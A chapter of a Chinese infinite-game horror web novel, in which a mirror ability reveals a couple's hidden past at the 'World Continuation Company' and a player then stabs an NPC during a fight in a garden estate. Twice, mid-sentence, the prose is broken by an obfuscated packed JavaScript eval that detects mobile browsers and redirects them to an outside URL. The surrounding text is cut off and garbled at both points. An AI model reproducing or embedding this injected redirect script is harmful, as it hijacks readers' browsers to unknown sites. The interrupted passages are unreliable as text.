明明是仰视的视角,桑衣的意识却仿佛被抽离,以一种更高的纬度观察着眼前的事物。 金色的树开始褪去外皮,流出了黑色的汁液。 “中心三区”、“蝉鸣”、“树”。 还有“孩子”。 桑衣睁开了眼,镜面又出现了。 【孵化者031,您的潜能「镜中之理」已激活,数据收集中,正在上报大数据中心。】 【潜能系统已在玩家面板中更新,可随时查看。】 桑衣打开了自己的面板。 【玩家:桑衣】 【当前扮演值:79。】 【潜能:镜中之理,可使用次数(1/1)】 【检测到您当前处于危险状态,是否需要使用潜能?是/否。】 “是。” 镜中的“桑衣”面无表情,仿佛喜怒都浅淡无色,她从镜中伸出了手,与镜外桑衣的手交叠。 桑衣浅色的棕色眼睛倒映着“自己”的面容,她从另一个自己的眼中看到了数条波动的数据流。 “桑衣”:“已获得最高权限许可,正在搜索信息。” “搜索成功。” …… 新历第101年,蒙昧时代。 中心生态区,世界延续公司分支。 桑衣置身于人来人往的路中间,身旁一棵冲天的巨树与玻璃建筑相互缠绕,晴朗的天空上,一轮巨大的圆盘形人造机械悬浮其中,散发着太阳般的光源。 桑衣的身旁站着一对脸色复杂的男女。 皆是青年模样,男人握着女人的手,有些踌躇地说道:“可容,我们没有几年可活了,孩子生下来没有父母,会不会太孤单?” 没等女人回答,男人就自言自语地否定自己,“不会的,应该不会的……” “我们为他们工作了一百年,一刻不停,就是为了能够让我们的孩子,能够在这个世界上轻松地活下去。” 女人闻言,静静地握住了男人的手,眼神温柔而坚定。 【陈清淮,男,122岁,无业人员,居住在中心生态区。新历第101年,4月2日,于家中自杀。】 【刘可容,女,122岁,世界存续公司二级职员,居住在中心生态区。新历第101年,4月10日,被流放至十二区。】 循声望去,那个面容淡漠的另一个“自己”突然出现在身旁,对桑衣解释了二人的身份。 二人依旧年轻,神色虽疲惫但仍带有光彩的面容,与副本中截然相反。 桑衣皱着眉,跟着他们的步伐走进了公司内部。 公司内部秩序井然,与外面鼎沸的人流声相反,这里鸦雀无声,入口处的设备扫描了二人的面容。 “已开放临时高层权限,允许通行。” 空无一人的大厅处,只有公司外伴树而生的蝉鸣声。 刘可容抬起头,看向玻璃墙外掩映的绿树。 她其实不怎么喜欢蝉这个生物,即使它寓意新生与希望,被誉为中心生态区的标志之一,这不尽的蝉鸣在她耳边响了一百多年,她的心中总是隐隐瘀堵着,好像她忘记了某些曾经习以为常事情。 这让她感到有些不安。 身旁的陈清淮注意到了她的异样,朝她笑了笑,尽管自己也紧张万分,仍尽力对妻子展露着微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407898|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 刘可容将手和丈夫的手紧握在一起,二人乘着电梯直达高层,那个他们曾经永远也触碰不到的阶层领域。 他们将多年前储存在世界存续公司的受精卵开启了孵化程序,也许是寿数将尽,刘可容格外珍惜他们的孩子的生命过程,他们相信,多年在公司所积攒的奉献积分可以让孩子顺利地生活下去,富余的积分甚至可以让他们的孩子免于被外派至十二区受苦。 日日夜夜,他们满怀期待地等待着孩子的降生,许诺着ta的美好未来。 孩子是什么样的呢?刘可容想,孩子是充满希望的,是未来新生的太阳,是生命的存续,是种族延续的火苗。 刘可容紧紧地抱住丈夫的胳膊,看着缓缓向自己走来的“孩子”,皱了皱眉头—— 不像——鼻子眼睛不像...嘴巴也不像…… 长得太高了,比他父亲还高...… 头发是棕黑色,也许是基因的小玩笑——他们的孩子和他们一点也不像。 刘可容死死地抠着丈夫的手掌,她感到自己的呼吸有点急促,耳边传来了沙沙的、像铅笔摩挲纸张的声音。 她想起那段她已经忘却的记忆,100年前的那个夜晚,丈夫用枯如树皮的粗糙手指在她的脸颊轻轻刮蹭,像孩童执著地抱着自己的玩具,那时她浑浊的瞳孔已经变得坚硬,只有听觉暂时还未消失。 她听见丈夫在继续唱着那首令她时刻都作呕的歌谣。 她的身体已经是空壳了,可当她听到这首歌的时侯,却还是忍不住,想要大哭着,抱住爱人的脑袋。 “又唱什么——又唱什么,笨脑子、笨脑子...…” “谁又救得了你。谁都救不了你。” “别害怕啊……别害怕了。” 可惜她已经发不出声音了,连带着听觉也渐渐失去,脑海中始终萦绕着那首喋喋不休的歌谣,竟在她死前都紧紧地缠着她,灼烤着她,要将她最后一丝力气都夺去。 …… 刘可容紧紧闭着嘴,看着陈清淮逐渐苍白的脸色。 他的眼神逐渐空洞,整个人都开始发抖。 她知道,她的丈夫又要犯病了。 35年前,她的丈夫参加过一次愚蠢的起义,他脑中的记忆被人为植入混淆,情绪也变得十分不稳定,被公司强制辞去三级职员的职务。 无数次午夜梦回,她的丈夫在梦中惊醒,满脸泪水,跟她诉说着那个不存在的“末日”。 ——那个痛苦的夜晚,他抱着妻子的尸体,无助地怮哭。 她抱着丈夫的脑袋,许诺他那只是一场虚假的幻梦。 她错了。 那不是虚假的幻梦,那是从上位者手掌中拂去的,如同碎屑一般的,被掩盖的真相。 刘可容紧咬着牙关,她的眼睛血红,对上了那个孩子漠然的灰色瞳孔。 ——那仿佛与生俱来的、高人一等的恶心姿态。 她又听见了“沙——沙——”的声音,像腐烂的、被刮蹭的动物皮毛在丝丝作响。 刘可容低下头,原来是丈夫在用力地刮她的掌心。 白的肉,红色的组织液翻涌出来。 刘可容捂住了陈清淮的嘴,对他用力地摇了摇头。 她用另一只手抹去了他空洞眼眶中不停溢出泪水,用干燥的嘴唇虔诚地亲吻着丈夫颤抖的眼皮。 她轻轻哼唱起一段古朴的小调,那段她在无数个夜晚唱起的歌谣。 伟大的女人们时常在夜里用这首歌来哄睡午夜惊醒的婴儿,这声音是如此轻柔,像水里煮软的翻腾的羊皮,咕噜咕噜地冒着水泡...... “别害怕啊你不是知道的吗?” “别害怕啊你不是明白的吗?” “别害怕啊继续闭上眼吧?” “别害怕啊安静睡去吧。” 别害怕啊,陈清淮。也许他们真正的孩子,还有活着的机会。 只要和他们谈判,只要和他们谈好条件…… 思考间,那个棕黑发灰眸的孩子走了过来,眼神从他们身上一拂而过,就像是掠过了一片尘埃。 刘可容死死握紧了手。 【玩家桑衣,您的潜能次数已使用完毕,扮演值自动增加5点。】 【您当前的扮演值为:84点。】 14. 花园小区(七) “桑衣,桑衣!你怎么了?!” 李将星使劲摇晃着桑衣的肩膀,她把手覆上桑衣的脸,“嘶”了一声,就像摸上了一块冰。 桑衣闭着眼,一张脸苍白地紧皱着。 李将星急忙回头看了一眼仍在茶室外站着的男孩,身后晦暗的路灯,让人看不清他面上的表情。 “呼——”李将星对自己的掌心吹着气,又将搓暖的掌心覆盖在桑衣的脸上。 她皱了皱眉,手心甚至传来了被冻伤的灼痛感,同时一股黏湿的触感,好像从她的手心缠绕着,一点一点朝她爬来。 桑衣仍然没有反应,连呼吸声都变得迟缓。 李将星咬着牙,抱着瘫倒的桑衣,求助地看向挡在她身前的将禾。 将禾注意到她的视线,短暂地回了头,她的右脚稍微后退了一步,重心前倾,身上的肌肉很紧张。 “别过来。” 将禾冷冷地对不断接近电源开关的文至觉警告道。 黑暗的空间中,将禾看到了文至觉眼中闪耀的金光。 将禾戒备地弓起腰,将右手放到了外套接近右腹处的地方,她脱下了外套,掀起了白色内搭T恤的一角,露出了下腹处长达十几厘米的伤痕。 伤痕鲜红,仿佛还带着血腥气。 她将手指直直探入还未恢复完全的伤疤,咬着牙,忍着剧痛,在其中翻扯着。 血肉翻转的声音。 将禾握住了其中的东西,缓缓扯出—— 那是一把刀刃约长七厘米的直刀匕首。 “我说了,别过来。” 【警告!玩家将禾,有npc注意到了你的「ooc」行为。】 【为了您的生命安全,请及时停止异常的扮演行为。】 始终站在门外的伊维将视线投向了发出声响的这一方,向这边走来。 而文至觉停下了脚步,他看着将禾手中鲜血淋漓的匕首,惊讶地挑了挑眉。 将禾……? 文至觉打量着眼前长发扎起,五官线条锋利的女人,他在脑中思索着将禾的名字,总觉得隐约在哪里见到过。 不久之前他在研究玩家情报时,注意到了一个擅长暴力通关且独来独往的玩家被标红。 标红的原因是—— 她来自十二区。 文至觉眯了眯眼,抬起手,示弱道:“我只是想把灯打开。” 说着,文至觉指着将禾身后双眼紧闭的桑衣,解释道:“关灯之后,她好像很不舒服。” 将禾不为所动,手中沾血的匕首冒着寒光。 微弱的反光中,文至觉迟钝地捕捉到其中一点金光。 他即刻愣住,抬起手想要触碰自己的眼睛。 “文、至、觉。” 伊维的声音在他背后响起,发音生涩,带着一股生硬的不自然感。 听到了自己的名字,文至觉猛然回头,他的心跳如鼓,太阳穴那处突突直跳,仿佛他大脑某根生锈的神经在艰难地发出危险信号。 他小心地呼吸着,双手顺着往上摸索,手指抠进了头皮。 一股诡异的直觉告诉他,他忘记了某个非常重要的东西,而这个东西存在于他的脑中,他却已然忘却了打开它的方式。 玩家,玩家,情报,情报。 文至觉在嘴里念叨着这两个词,他突然变得有些迷茫,不知道这两个词的含义。 他使劲地想,使劲地想,直到双眼爆出红血丝,一只手掌覆盖到了他的头顶。 他呆呆地抬起头,对上一双冷漠的灰色瞳孔。 “扑哧”一声。 利刃刺进血肉的声音。 灰色的瞳孔往下移,对焦到了那只握着匕首的手—— 瞳孔上移,眼底倒映着一个极快的影子,还有飞扬的发丝。 下一秒,那只手再次发力,在捅入的心脏处转了一个口子,又利落地拔出。 将禾收回了手,反握住匕首,一脚将伊维踹倒。 她一手重重地钳制住文至觉,同时另一边观察着伊维的动向。 她没有回头,向身后的李将星命令道: “先带她走。” 李将星急忙将地下掉落的记事本捡起,塞入怀里,拖起桑衣冰冷的身子,踉跄着向外跑。 可随着她大幅度的动作,那股钻进身体的冰冷之意愈甚。 李将星瞟了一眼自己的手,忽然僵住。 黑色的液体在一瞬渗入了她的肌肤,然后消失不见。 李将星把手背重重搓了几下,直到皮肤被摩擦得通红,她才反应过来自己反常的行为。 她敲了敲自己的脑袋,重重呼吸了一下。 痛觉激发了她的清醒,李将星意识过来,连忙打开状态面板。 【玩家:李将星/将禾】 【当前扮演值:75点/72点】 【温馨提示:当前状态危险,请保持清醒,避免迷失。】 李将星咬了咬唇,她把桑衣的一只手捞起,拖着她继续往外逃去。 屋外灯火点点,随风摇曳着,渐渐地,灯光变得越来越亮。 先前屋外的情景消失了,取而代之的是一块及其空旷的平地。 平地上无数人仰首而跪,表情虔诚。 他们空洞的眼神中,燃着金色的光。 李将星有些疑惑,她的脚步慢了下来。 “李将星!” 身后好像有人在喊她的名字,她迷茫地回头望了一眼。 …… 她什么都没有看见,只有茫茫一片空地。 不远处闪耀着金光的地方,让她想起了地下室的那个排气扇。 白天的时候,距离地下室遥远的城市中心的人造太阳会散发光芒,暖暖的光芒透过缝隙,洒在阴暗的地下室里。 她一个人坐在小床上,仰望着这道光。 直到这抹光消失,大家都回到了这里。 阿姐,大福,可乐,还有总是臭着脸的乔景天。 他们五个人,挤在狭小的地下室里,分食着用这次资源点兑换的食物。 她看着手里总是被分到的最大块的压缩饼干,又看着周围人手中的饼干。 察觉到她的眼神,可乐摸了摸她的脑袋,笑嘻嘻地说道:“不好意思啦,今天只能吃到这个。” “等我明天把那群占着C级本不走的傻比都揍翻,我们就吃餐大的!” 李将星摇了摇头,望向一直沉默的阿姐。 阿姐只是对她说:“你不能和我们一起。” 她第无数次失落地低下头,她明白自己的感知度太高,进入副本后扮演值上涨比其他人都要快,如果跟他们一起去,非但不能帮忙,还会成为累赘。 阿姐不允许她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将禾看见了女孩回头时眼底的那一抹金光。 她果断放下了钳制住文至觉的手,直接向女孩走去。 文至觉失力跪坐在地上,没有任何反应。 身后传来蠕动的声音—— 将禾回头,昏暗的地板上,男孩的尸体流了一大摊的血,他身下的黑影仿佛得到了血液的滋补,开始生长起来。 数个如肿瘤般的球状黑影鼓动着、变大着、塑形着。 一个黑色的身影逐渐站了起来,有了身体的形状,有了脑袋的形状。 还未塑形完全,就被一个冲来的身影扯住脑袋,狠狠吃了一记。 将禾挥着匕首划了一道,见黑影停滞了动作,便连续接着划了很多刀。 黑影吃痛地往后退,伤口处的黑色液体溅上了将禾的脸,瞬间渗入了她的皮肤。 将禾顿了顿,动作变缓。 此时安静的小区里,忽然传来了歌声,并不断有人附和。 夜深了。 星星点点的人们聚集起来,朝一个地方走去。